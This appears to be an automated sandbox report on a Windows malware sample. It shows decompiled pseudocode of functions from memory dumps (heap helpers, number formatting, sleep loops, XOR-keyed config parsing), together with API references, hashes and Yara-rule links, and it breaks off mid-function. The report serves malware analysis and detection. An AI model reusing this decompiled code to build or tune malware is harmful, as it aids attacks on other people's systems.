0x00f04ed8
0x00f04f11

APIs

InterlockedIncrement.KERNEL32(00F0D23C), ref: 00F04EDF

Part of subcall function 00F012E5: HeapCreate.KERNELBASE(00000000,00400000,00000000,?,00000001,?,?,?,00F04EF2,?), ref: 00F012F8

InterlockedDecrement.KERNEL32(00F0D23C), ref: 00F04EFF

Memory Dump Source

Source File: 00000002.00000002.491989142.0000000000F01000.00000020.00000001.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000002.00000002.491962549.0000000000F00000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492030503.0000000000F0C000.00000002.00000001.sdmp Download File
Associated: 00000002.00000002.492039429.0000000000F0D000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492051670.0000000000F0F000.00000002.00000001.sdmp Download File

Similarity

API ID: Interlocked$CreateDecrementHeapIncrement
String ID:
API String ID: 3834848776-0
Opcode ID: c565661add0b63d2ac4f6e52070e38afbe855d8d3eab4f1852b4e2188d2e3703
Instruction ID: 363bf2dcc3a0d445cdde5c8f376e60568c2ce0f9a0ab8902c83597b62bcc0257
Opcode Fuzzy Hash: c565661add0b63d2ac4f6e52070e38afbe855d8d3eab4f1852b4e2188d2e3703
Instruction Fuzzy Hash: 72E0867170813793D7211BB49E08B5AB742BF90BA2F114914F681D20D0D610DC40F2D6

Uniqueness

Uniqueness Score: -1.00%

Function 00F0161B, Relevance: 1.6, APIs: 1, Instructions: 75
memoryCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E00F0161B(signed int __eax, void* __ecx, intOrPtr* _a4, void** _a8, intOrPtr* _a12) {
				signed int _v5;
				signed int _v12;
				void* _t32;
				signed int _t37;
				signed int _t39;
				signed char _t45;
				void* _t49;
				char* _t51;
				signed int _t65;
				signed int _t66;
				signed int _t69;

				_v12 = _v12 & 0x00000000;
				_t69 = __eax;
				_t32 = RtlAllocateHeap( *0xf0d238, 0, __eax << 2); // executed
				_t49 = _t32;
				if(_t49 == 0) {
					_v12 = 8;
				} else {
					 *_a8 = _t49;
					do {
						_t45 =  *_a4;
						asm("cdq");
						_t65 = 0x64;
						_t37 = (_t45 & 0x000000ff) / _t65;
						_v5 = _t37;
						if(_t37 != 0) {
							 *_t49 = _t37 + 0x30;
							_t49 = _t49 + 1;
							_t45 = _t45 + _t37 * 0x9c;
						}
						asm("cdq");
						_t66 = 0xa;
						_t39 = (_t45 & 0x000000ff) / _t66;
						if(_t39 != 0 || _v5 != _t39) {
							 *_t49 = _t39 + 0x30;
							_t49 = _t49 + 1;
							_t45 = _t45 + _t39 * 0xf6;
						}
						_a4 = _a4 + 1;
						 *_t49 = _t45 + 0x30;
						 *(_t49 + 1) = 0x2c;
						_t49 = _t49 + 2;
						_t69 = _t69 - 1;
					} while (_t69 != 0);
					_t51 = _t49 - 1;
					 *_a12 = _t51 -  *_a8;
					 *_t51 = 0;
				}
				return _v12;
			}

0x00f01620
0x00f01625
0x00f01633
0x00f01639
0x00f0163d
0x00f016ae
0x00f0163f
0x00f01643
0x00f01646
0x00f01649
0x00f01650
0x00f01651
0x00f01652
0x00f01654
0x00f01659
0x00f01660
0x00f01666
0x00f01667
0x00f01667
0x00f0166e
0x00f0166f
0x00f01670
0x00f01674
0x00f01680
0x00f01686
0x00f01687
0x00f01687
0x00f01689
0x00f0168f
0x00f01691
0x00f01696
0x00f01697
0x00f01697
0x00f0169d
0x00f016a6
0x00f016a8
0x00f016ab
0x00f016ba

APIs

RtlAllocateHeap.NTDLL(00000000,00000000,?), ref: 00F01633

Memory Dump Source

Source File: 00000002.00000002.491989142.0000000000F01000.00000020.00000001.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000002.00000002.491962549.0000000000F00000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492030503.0000000000F0C000.00000002.00000001.sdmp Download File
Associated: 00000002.00000002.492039429.0000000000F0D000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492051670.0000000000F0F000.00000002.00000001.sdmp Download File

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 29d3e2e7571dd7d7cf312ec240dcab12670ef8aa92cba559e20897aeafe37c1a
Instruction ID: 236e3e4f96102d5161c5af92e2bcb5b7b28fd743e0cc092b7f13e4294298afbb
Opcode Fuzzy Hash: 29d3e2e7571dd7d7cf312ec240dcab12670ef8aa92cba559e20897aeafe37c1a
Instruction Fuzzy Hash: 2111D6316453449FEB158F29D851BE9BBA9EF63328F28418AE4408B2D2C277890BD760

Uniqueness

Uniqueness Score: -1.00%

Function 00F048F1, Relevance: 1.5, APIs: 1, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 34%

			E00F048F1(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr* _a16) {
				intOrPtr _v12;
				void* _v18;
				char _v20;
				intOrPtr _t15;
				void* _t17;
				intOrPtr _t19;
				void* _t23;

				_v20 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosw");
				_t15 =  *0xf0d2a8; // 0x436a5a8
				_t4 = _t15 + 0xf0e39c; // 0x5278944
				_t20 = _t4;
				_t6 = _t15 + 0xf0e124; // 0x650047
				_t17 = E00F0219B(_t4, _a4, 0x80000002, _a8, _t6, _a12, _t4,  &_v20); // executed
				if(_t17 < 0) {
					_t23 = _t17;
				} else {
					_t23 = 8;
					if(_v20 != _t23) {
						_t23 = 1;
					} else {
						_t19 = E00F02298(_t20, _v12);
						if(_t19 != 0) {
							 *_a16 = _t19;
							_t23 = 0;
						}
						__imp__#6(_v12);
					}
				}
				return _t23;
			}

0x00f048fb
0x00f04902
0x00f04903
0x00f04904
0x00f04905
0x00f0490b
0x00f04910
0x00f04910
0x00f0491a
0x00f0492c
0x00f04933
0x00f04961
0x00f04935
0x00f04937
0x00f0493c
0x00f0495e
0x00f0493e
0x00f04941
0x00f04948
0x00f0494d
0x00f0494f
0x00f0494f
0x00f04954
0x00f04954
0x00f0493c
0x00f04968

APIs

Part of subcall function 00F0219B: SysFreeString.OLEAUT32(?), ref: 00F0227A

Part of subcall function 00F02298: lstrlenW.KERNEL32(004F0053,00000000,00000000,?,?,00F084CA,004F0053,00000000,?), ref: 00F022A1
Part of subcall function 00F02298: memcpy.NTDLL(00000000,004F0053,?,?,00000002,?,?,00F084CA,004F0053,00000000,?), ref: 00F022CB
Part of subcall function 00F02298: memset.NTDLL ref: 00F022DF

SysFreeString.OLEAUT32(00000000), ref: 00F04954

Memory Dump Source

Source File: 00000002.00000002.491989142.0000000000F01000.00000020.00000001.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000002.00000002.491962549.0000000000F00000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492030503.0000000000F0C000.00000002.00000001.sdmp Download File
Associated: 00000002.00000002.492039429.0000000000F0D000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492051670.0000000000F0F000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeString$lstrlenmemcpymemset
String ID:
API String ID: 397948122-0
Opcode ID: a12c244cc013d3711481a933eb52ca0d9a3511538b909b93ae3df61d10f39d9c
Instruction ID: ba3a62ed4dc2760dfed265da7c5a50f39bf1488ed4bcb38db17dee1a6e964d22
Opcode Fuzzy Hash: a12c244cc013d3711481a933eb52ca0d9a3511538b909b93ae3df61d10f39d9c
Instruction Fuzzy Hash: 70015672900119BFDB11ABA8CC45AABBBB8FB48750F004565EE14E70A1E370A921F7A0

Uniqueness

Uniqueness Score: -1.00%

Function 00F01180, Relevance: 1.5, APIs: 1, Instructions: 41
memoryCOMMON

Download Yara Rule

C-Code - Quality: 89%

			E00F01180(signed int __eax, void* __ecx, intOrPtr* __esi, void* _a4) {
				char _v8;
				void* _t14;
				intOrPtr _t17;
				void* _t20;
				void* _t26;

				_push(__ecx);
				if(_a4 == 0 || __eax == 0) {
					_t26 = 0x57;
				} else {
					_t14 = E00F0161B(__eax,  &_a4, _a4,  &_a4,  &_v8); // executed
					_t26 = _t14;
					if(_t26 == 0) {
						_t17 =  *0xf0d2a8; // 0x436a5a8
						_t9 = _t17 + 0xf0ea38; // 0x444f4340
						_t20 = E00F01DF4( *((intOrPtr*)(__esi + 4)),  *__esi, _t9, _a4, _v8, __esi + 8, __esi + 0xc); // executed
						_t26 = _t20;
						RtlFreeHeap( *0xf0d238, 0, _a4); // executed
					}
				}
				return _t26;
			}

0x00f01183
0x00f01189
0x00f011e0
0x00f0118f
0x00f0119a
0x00f0119f
0x00f011a3
0x00f011b0
0x00f011b8
0x00f011c4
0x00f011cc
0x00f011d6
0x00f011d6
0x00f011a3
0x00f011e5

APIs

Part of subcall function 00F0161B: RtlAllocateHeap.NTDLL(00000000,00000000,?), ref: 00F01633

Part of subcall function 00F01DF4: lstrlen.KERNEL32(7519F710,?,00000000,?,7519F710), ref: 00F01E28
Part of subcall function 00F01DF4: StrStrA.SHLWAPI(00000000,?), ref: 00F01E35
Part of subcall function 00F01DF4: RtlAllocateHeap.NTDLL(00000000,?), ref: 00F01E54

RtlFreeHeap.NTDLL(00000000,00000000,?,444F4340,00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,?,00F03C3B), ref: 00F011D6

Memory Dump Source

Source File: 00000002.00000002.491989142.0000000000F01000.00000020.00000001.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000002.00000002.491962549.0000000000F00000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492030503.0000000000F0C000.00000002.00000001.sdmp Download File
Associated: 00000002.00000002.492039429.0000000000F0D000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492051670.0000000000F0F000.00000002.00000001.sdmp Download File

Similarity

API ID: Heap$Allocate$Freelstrlen
String ID:
API String ID: 2220322926-0
Opcode ID: e0782c95e8d90db768a64785fc0b1d22db1d681efb01ebc254fbd64966cfd896
Instruction ID: 3ffddfa15efb932abd87798e7af2dcc6ceac4546449816aba141ccb6a6f3977e
Opcode Fuzzy Hash: e0782c95e8d90db768a64785fc0b1d22db1d681efb01ebc254fbd64966cfd896
Instruction Fuzzy Hash: 1B016936200108FFDB158F84CC40EAABBBDFB44750F104129FA058A1A0EB31EA44FB60

Uniqueness

Uniqueness Score: -1.00%

Function 00F0A734, Relevance: 1.5, APIs: 1, Instructions: 5
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00F0A734(void* _a4) {
				char _t2;

				_t2 = RtlFreeHeap( *0xf0d238, 0, _a4); // executed
				return _t2;
			}

0x00f0a740
0x00f0a746

APIs

RtlFreeHeap.NTDLL(00000000,00000000,00F05637,00000000,?,?,00000000), ref: 00F0A740

Memory Dump Source

Source File: 00000002.00000002.491989142.0000000000F01000.00000020.00000001.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000002.00000002.491962549.0000000000F00000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492030503.0000000000F0C000.00000002.00000001.sdmp Download File
Associated: 00000002.00000002.492039429.0000000000F0D000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492051670.0000000000F0F000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 15ef4697abb3180c1ba57c99aa818f1434592a01da7a27cff3ca0f6ca36bec9e
Instruction ID: 51eb118b5b030103faf44beb89d1d497d8c988a7282a1379286e7e8196f22b42
Opcode Fuzzy Hash: 15ef4697abb3180c1ba57c99aa818f1434592a01da7a27cff3ca0f6ca36bec9e
Instruction Fuzzy Hash: 3CB01271100104EBCA114B80DF04F05FB21BB50B00F004110B3044407083314420FB15

Uniqueness

Uniqueness Score: -1.00%

Function 00F0A71F, Relevance: 1.5, APIs: 1, Instructions: 5
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00F0A71F(long _a4) {
				void* _t2;

				_t2 = RtlAllocateHeap( *0xf0d238, 0, _a4); // executed
				return _t2;
			}

0x00f0a72b
0x00f0a731

APIs

RtlAllocateHeap.NTDLL(00000000,00000000,00F05595), ref: 00F0A72B

Memory Dump Source

Source File: 00000002.00000002.491989142.0000000000F01000.00000020.00000001.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000002.00000002.491962549.0000000000F00000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492030503.0000000000F0C000.00000002.00000001.sdmp Download File
Associated: 00000002.00000002.492039429.0000000000F0D000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492051670.0000000000F0F000.00000002.00000001.sdmp Download File

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 389df2ff72b49757b419208811ce065d6c17920326ff4ca2575a386ab4c22eea
Instruction ID: c21d0e1c6a955a4abdc9e43b500304988414bbbfafc1fbaea249e9f8c286780a
Opcode Fuzzy Hash: 389df2ff72b49757b419208811ce065d6c17920326ff4ca2575a386ab4c22eea
Instruction Fuzzy Hash: 22B01231000104EBCA014B40DE08F05BB21BB50700F128210B204840B483314460FB04

Uniqueness

Uniqueness Score: -1.00%

Function 00F04776, Relevance: 1.3, APIs: 1, Instructions: 97
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00F04776(intOrPtr* __eax, void* __ecx, void* __edx, void* _a4, void** _a8) {
				int _v8;
				char _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				char _v28;
				int _v60;
				char _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				intOrPtr _v88;
				char _v92;
				void* _t35;
				void* _t40;
				void* _t49;
				void* _t51;
				int _t57;
				void* _t60;
				void* _t61;

				_t51 = _a4;
				_t57 = 0;
				_t58 = __ecx;
				_v12 = 0;
				_v8 = 0;
				_a4 = 0;
				if(__ecx <= 0x40 ||  *__eax != 0x200) {
					L21:
					return _t57;
				} else {
					_t6 = _t58 - 0x40; // 0xf05249
					_t55 =  &_v92;
					_t35 = E00F01000(__eax,  &_v92, __edx,  &_v92,  &_v12, _t51 + _t6);
					if(_t35 != 0) {
						goto L21;
					}
					_t59 = __ecx - 0x40;
					if(_v60 > __ecx - 0x40) {
						goto L21;
					}
					while( *((char*)(_t61 + _t35 - 0x48)) == 0) {
						_t35 = _t35 + 1;
						if(_t35 < 0x10) {
							continue;
						}
						_t57 = _v60;
						_t49 = E00F0A71F(_t57);
						_a4 = _t49;
						_t70 = _t49;
						if(_t49 != 0) {
							_t57 = 0;
							L18:
							if(_t57 != 0) {
								goto L21;
							}
							L19:
							if(_a4 != 0) {
								E00F0A734(_a4);
							}
							goto L21;
						}
						memcpy(_t49, _t51, _t57);
						L8:
						_t60 = _a4;
						E00F090F4(_t55, _t70, _t60, _t57,  &_v28);
						if(_v28 != _v92 || _v24 != _v88 || _v20 != _v84 || _v16 != _v80) {
							L15:
							_t57 = 0;
							goto L19;
						} else {
							 *_a8 = _t60;
							goto L18;
						}
					}
					_t40 = E00F037B8(_t59, _t51,  &_a4,  &_v8,  &_v76, 0); // executed
					__eflags = _t40;
					if(_t40 != 0) {
						_t57 = _v8;
						goto L18;
					}
					_t57 = _v60;
					__eflags = _v8 - _t57;
					if(__eflags >= 0) {
						goto L8;
					}
					goto L15;
				}
			}

0x00f0477d
0x00f04782
0x00f04784
0x00f04786
0x00f04789
0x00f0478c
0x00f04792
0x00f04866
0x00f0486c
0x00f047a4
0x00f047a4
0x00f047ad
0x00f047b1
0x00f047b8
0x00000000
0x00000000
0x00f047be
0x00f047c4
0x00000000
0x00000000
0x00f047ca
0x00f047d1
0x00f047d5
0x00000000
0x00000000
0x00f047d7
0x00f047db
0x00f047e0
0x00f047e3
0x00f047e5
0x00f0484d
0x00f04854
0x00f04856
0x00000000
0x00000000
0x00f04858
0x00f0485c
0x00f04861
0x00f04861
0x00000000
0x00f0485c
0x00f047ea
0x00f047f2
0x00f047f2
0x00f047fb
0x00f04806
0x00f04849
0x00f04849
0x00000000
0x00f04820
0x00f04823
0x00000000
0x00f04823
0x00f04806
0x00f04838
0x00f0483d
0x00f0483f
0x00f04851
0x00000000
0x00f04851
0x00f04841
0x00f04844
0x00f04847
0x00000000
0x00000000
0x00000000
0x00f04847

APIs

memcpy.NTDLL(00000000,00F05289,?,?,?,00F05289,00F05249,00000002,00F05289,00F05289), ref: 00F047EA

Memory Dump Source

Source File: 00000002.00000002.491989142.0000000000F01000.00000020.00000001.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000002.00000002.491962549.0000000000F00000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492030503.0000000000F0C000.00000002.00000001.sdmp Download File
Associated: 00000002.00000002.492039429.0000000000F0D000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492051670.0000000000F0F000.00000002.00000001.sdmp Download File

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 31d2aeb871fed480a51b5b04fc6f2b391b77cb89b72ef696dcf898d8526d7ca6
Instruction ID: f124d951fdeaba68a69f4c34f969f86fa53302c77f74a7bb61b722c5c84502ad
Opcode Fuzzy Hash: 31d2aeb871fed480a51b5b04fc6f2b391b77cb89b72ef696dcf898d8526d7ca6
Instruction Fuzzy Hash: 243103B2D00198EBDF11DF95C8849DEBBF9AF90350F108416F615A7181D734AE85F750

Uniqueness

Uniqueness Score: -1.00%

Function 00F05356, Relevance: 1.3, APIs: 1, Instructions: 43
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00F05356(intOrPtr* __edi, void* _a4, void* _a8, unsigned int _a12) {
				void* _t21;
				void* _t22;
				signed int _t24;
				intOrPtr* _t26;
				void* _t27;

				_t26 = __edi;
				if(_a4 == 0) {
					L2:
					_t27 = E00F08BC1(_a4, 0x80000002, _a8, _a12,  &_a4,  &_a12);
					if(_t27 == 0) {
						_t24 = _a12 >> 1;
						if(_t24 == 0) {
							_t27 = 2;
							HeapFree( *0xf0d238, 0, _a4);
						} else {
							_t21 = _a4;
							 *((short*)(_t21 + _t24 * 2 - 2)) = 0;
							 *_t26 = _t21;
						}
					}
					L6:
					return _t27;
				}
				_t22 = E00F048F1(_a4, _a8, _a12, __edi); // executed
				_t27 = _t22;
				if(_t27 == 0) {
					goto L6;
				}
				goto L2;
			}

0x00f05356
0x00f0535e
0x00f05375
0x00f05390
0x00f05394
0x00f05399
0x00f0539b
0x00f053ad
0x00f053b9
0x00f0539d
0x00f0539d
0x00f053a2
0x00f053a7
0x00f053a7
0x00f0539b
0x00f053bf
0x00f053c3
0x00f053c3
0x00f0536a
0x00f0536f
0x00f05373
0x00000000
0x00000000
0x00000000

APIs

Part of subcall function 00F048F1: SysFreeString.OLEAUT32(00000000), ref: 00F04954

HeapFree.KERNEL32(00000000,00000000,00000000,80000002,7519F710,?,00000000,?,00000000,?,00F08D51,?,004F0053,05279368,00000000,?), ref: 00F053B9

Memory Dump Source

Source File: 00000002.00000002.491989142.0000000000F01000.00000020.00000001.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000002.00000002.491962549.0000000000F00000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492030503.0000000000F0C000.00000002.00000001.sdmp Download File
Associated: 00000002.00000002.492039429.0000000000F0D000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492051670.0000000000F0F000.00000002.00000001.sdmp Download File

Similarity

API ID: Free$HeapString
String ID:
API String ID: 3806048269-0
Opcode ID: 10c2443cf8d4c57bb9e26f035b84b290075ed2d9c82fe98ab4233ab55d4c1464
Instruction ID: 35ba595eba6794604ef729a3878b34cdb8876572f460b0365c391f7157b362be
Opcode Fuzzy Hash: 10c2443cf8d4c57bb9e26f035b84b290075ed2d9c82fe98ab4233ab55d4c1464
Instruction Fuzzy Hash: 4B01FF72501919FBDB229F94CC05EDE7B66FF44B90F048514FE059A1A0D7B1D960FB90

Uniqueness

Uniqueness Score: -1.00%

Function 00F01AE2, Relevance: 1.3, APIs: 1, Instructions: 36
sleepCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E00F01AE2(intOrPtr* __edi) {
				intOrPtr _v8;
				char _v12;
				intOrPtr _v16;
				intOrPtr _t15;
				intOrPtr* _t21;

				_t21 = __edi;
				_push( &_v12);
				_push(__edi);
				_v8 = 0x1d4c0;
				_t15 =  *((intOrPtr*)( *__edi + 0xe0))();
				while(1) {
					_v16 = _t15;
					Sleep(0x1f4); // executed
					if(_v12 == 4) {
						break;
					}
					if(_v8 == 0) {
						L4:
						_t15 =  *((intOrPtr*)( *_t21 + 0xe0))(_t21,  &_v12);
						continue;
					} else {
						if(_v8 <= 0x1f4) {
							_v16 = 0x80004004;
						} else {
							_v8 = _v8 - 0x1f4;
							goto L4;
						}
					}
					L8:
					return _v16;
				}
				goto L8;
			}

0x00f01ae2
0x00f01aef
0x00f01af0
0x00f01af1
0x00f01af8
0x00f01b26
0x00f01b27
0x00f01b2a
0x00f01b30
0x00000000
0x00000000
0x00f01b0f
0x00f01b19
0x00f01b20
0x00000000
0x00f01b11
0x00f01b14
0x00f01b34
0x00f01b16
0x00f01b16
0x00000000
0x00f01b16
0x00f01b14
0x00f01b3b
0x00f01b41
0x00f01b41
0x00000000

APIs

Sleep.KERNELBASE(000001F4), ref: 00F01B2A

Memory Dump Source

Source File: 00000002.00000002.491989142.0000000000F01000.00000020.00000001.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000002.00000002.491962549.0000000000F00000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492030503.0000000000F0C000.00000002.00000001.sdmp Download File
Associated: 00000002.00000002.492039429.0000000000F0D000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492051670.0000000000F0F000.00000002.00000001.sdmp Download File

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 8df3676bcf5a6ba0200448744cb82ab53c20a4711de5ed3ec413d85ce8077adf
Instruction ID: 35057e415cd8c687b9eee3567cb520072addfb02e967cc7c307eff82b49f9d8e
Opcode Fuzzy Hash: 8df3676bcf5a6ba0200448744cb82ab53c20a4711de5ed3ec413d85ce8077adf
Instruction Fuzzy Hash: 7DF012B5D01218EFDB00DBD4C988AEDB7B8FF44315F1040AAE502A3140E7745B44EF51

Uniqueness

Uniqueness Score: -1.00%

Function 00F05D7D, Relevance: 1.3, APIs: 1, Instructions: 26
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00F05D7D(intOrPtr _a4, intOrPtr _a8, void* _a12, intOrPtr _a16, WCHAR* _a20) {
				void* _t17;

				if(_a4 == 0) {
					L2:
					return E00F06002(_a8, 1, _a12, _a16, _a20, lstrlenW(_a20) + _t14 + 2);
				}
				_t17 = E00F06207(_a4, _a8, _a12, _a16, _a20); // executed
				if(_t17 != 0) {
					goto L2;
				}
				return _t17;
			}

0x00f05d85
0x00f05d9f
0x00000000
0x00f05dbb
0x00f05d96
0x00f05d9d
0x00000000
0x00000000
0x00f05dc2

APIs

lstrlenW.KERNEL32(?,?,?,00F08708,3D00F0C0,80000002,00F03741,00F0A513,74666F53,4D4C4B48,00F0A513,?,3D00F0C0,80000002,00F03741,?), ref: 00F05DA2

Part of subcall function 00F06207: SysAllocString.OLEAUT32(00F0A513), ref: 00F06220
Part of subcall function 00F06207: SysFreeString.OLEAUT32(00000000), ref: 00F06261

Memory Dump Source

Source File: 00000002.00000002.491989142.0000000000F01000.00000020.00000001.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000002.00000002.491962549.0000000000F00000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492030503.0000000000F0C000.00000002.00000001.sdmp Download File
Associated: 00000002.00000002.492039429.0000000000F0D000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492051670.0000000000F0F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$AllocFreelstrlen
String ID:
API String ID: 3808004451-0
Opcode ID: 00361f9b609a656a6e4e88cfe4328585098ba343a53b5d94c75360c8c831f2ed
Instruction ID: b6037efdd309bc60a8ac175751a6190ab6a2f2c35893dc23011f61079a148ec3
Opcode Fuzzy Hash: 00361f9b609a656a6e4e88cfe4328585098ba343a53b5d94c75360c8c831f2ed
Instruction Fuzzy Hash: 2AF0197200420EBBEF169F94DC0AEAA3F6AAB18750F048015BA14940A1D776D9B1FBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00F04A09, Relevance: 1.3, APIs: 1, Instructions: 23
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00F04A09(void* __edi, void* _a4) {
				int _t7;
				int _t12;

				_t7 = E00F01526(__edi, _a4,  &_a4); // executed
				_t12 = _t7;
				if(_t12 != 0) {
					memcpy(__edi, _a4, _t12);
					 *((char*)(__edi + _t12)) = 0;
					E00F0A734(_a4);
				}
				return _t12;
			}

0x00f04a15
0x00f04a1a
0x00f04a1e
0x00f04a25
0x00f04a30
0x00f04a34
0x00f04a34
0x00f04a3d

APIs

Part of subcall function 00F01526: memcpy.NTDLL(00000000,00000090,00000002,00000002,00F05289,00000008,00F05289,00F05289,?,00F0A3FE,00F05289), ref: 00F0155C
Part of subcall function 00F01526: memset.NTDLL ref: 00F015D1
Part of subcall function 00F01526: memset.NTDLL ref: 00F015E5

memcpy.NTDLL(00000002,00F05289,00000000,00000002,00F05289,00F05289,00F05289,?,00F0A3FE,00F05289,?,00F05289,00000002,?,?,00F05D5E), ref: 00F04A25

Part of subcall function 00F0A734: RtlFreeHeap.NTDLL(00000000,00000000,00F05637,00000000,?,?,00000000), ref: 00F0A740

Memory Dump Source

Source File: 00000002.00000002.491989142.0000000000F01000.00000020.00000001.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000002.00000002.491962549.0000000000F00000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492030503.0000000000F0C000.00000002.00000001.sdmp Download File
Associated: 00000002.00000002.492039429.0000000000F0D000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492051670.0000000000F0F000.00000002.00000001.sdmp Download File

Similarity

API ID: memcpymemset$FreeHeap
String ID:
API String ID: 3053036209-0
Opcode ID: e6817b10372af5116933f012d7fa3afbfc5e6b6b9757d7c95a37c68b0d13499d
Instruction ID: 742fea395de89fff89f32c3abef83068af611d53ee4a445a57cab6a309e77b30
Opcode Fuzzy Hash: e6817b10372af5116933f012d7fa3afbfc5e6b6b9757d7c95a37c68b0d13499d
Instruction Fuzzy Hash: CFE08C7750122877CB126A94DC01EEF7F6C9F527A1F044020FE088A241E639DA20B7E2

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00F0888E, Relevance: 10.7, APIs: 7, Instructions: 237
memoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 95%

			E00F0888E(int* __ecx) {
				int _v8;
				void* _v12;
				void* _v16;
				void* __esi;
				signed int _t26;
				signed int _t31;
				signed int _t37;
				char* _t43;
				char* _t44;
				char* _t45;
				char* _t46;
				char* _t47;
				void* _t48;
				void* _t49;
				void* _t50;
				intOrPtr _t51;
				void* _t53;
				intOrPtr _t54;
				intOrPtr _t55;
				signed int _t58;
				intOrPtr _t61;
				signed int _t62;
				signed int _t67;
				void* _t69;
				void* _t70;
				signed int _t72;
				signed int _t76;
				signed int _t80;
				signed int _t84;
				signed int _t88;
				signed int _t92;
				void* _t97;
				intOrPtr _t114;

				_t98 = __ecx;
				_t26 =  *0xf0d2a4; // 0x63699bc3
				if(E00F07145( &_v8,  &_v12, _t26 ^ 0x8241c5a7) != 0 && _v12 >= 0x90) {
					 *0xf0d2d8 = _v8;
				}
				_t31 =  *0xf0d2a4; // 0x63699bc3
				if(E00F07145( &_v16,  &_v12, _t31 ^ 0x0b822240) == 0) {
					_v12 = 2;
					L62:
					return _v12;
				}
				_t37 =  *0xf0d2a4; // 0x63699bc3
				if(E00F07145( &_v12,  &_v8, _t37 ^ 0xecd84622) == 0) {
					L60:
					HeapFree( *0xf0d238, 0, _v16);
					goto L62;
				} else {
					_t97 = _v12;
					if(_t97 == 0) {
						_t43 = 0;
					} else {
						_t92 =  *0xf0d2a4; // 0x63699bc3
						_t43 = E00F06B2E(_t98, _t97, _t92 ^ 0x724e87bc);
					}
					if(_t43 != 0) {
						_t98 =  &_v8;
						if(StrToIntExA(_t43, 0,  &_v8) != 0) {
							 *0xf0d240 = _v8;
						}
					}
					if(_t97 == 0) {
						_t44 = 0;
					} else {
						_t88 =  *0xf0d2a4; // 0x63699bc3
						_t44 = E00F06B2E(_t98, _t97, _t88 ^ 0x2b40cc40);
					}
					if(_t44 != 0) {
						_t98 =  &_v8;
						if(StrToIntExA(_t44, 0,  &_v8) != 0) {
							 *0xf0d244 = _v8;
						}
					}
					if(_t97 == 0) {
						_t45 = 0;
					} else {
						_t84 =  *0xf0d2a4; // 0x63699bc3
						_t45 = E00F06B2E(_t98, _t97, _t84 ^ 0x3b27c2e6);
					}
					if(_t45 != 0) {
						_t98 =  &_v8;
						if(StrToIntExA(_t45, 0,  &_v8) != 0) {
							 *0xf0d248 = _v8;
						}
					}
					if(_t97 == 0) {
						_t46 = 0;
					} else {
						_t80 =  *0xf0d2a4; // 0x63699bc3
						_t46 = E00F06B2E(_t98, _t97, _t80 ^ 0x0602e249);
					}
					if(_t46 != 0) {
						_t98 =  &_v8;
						if(StrToIntExA(_t46, 0,  &_v8) != 0) {
							 *0xf0d004 = _v8;
						}
					}
					if(_t97 == 0) {
						_t47 = 0;
					} else {
						_t76 =  *0xf0d2a4; // 0x63699bc3
						_t47 = E00F06B2E(_t98, _t97, _t76 ^ 0x3603764c);
					}
					if(_t47 != 0) {
						_t98 =  &_v8;
						if(StrToIntExA(_t47, 0,  &_v8) != 0) {
							 *0xf0d02c = _v8;
						}
					}
					if(_t97 == 0) {
						_t48 = 0;
					} else {
						_t72 =  *0xf0d2a4; // 0x63699bc3
						_t48 = E00F06B2E(_t98, _t97, _t72 ^ 0x2cc1f2fd);
					}
					if(_t48 != 0) {
						_push(_t48);
						_t69 = 0x10;
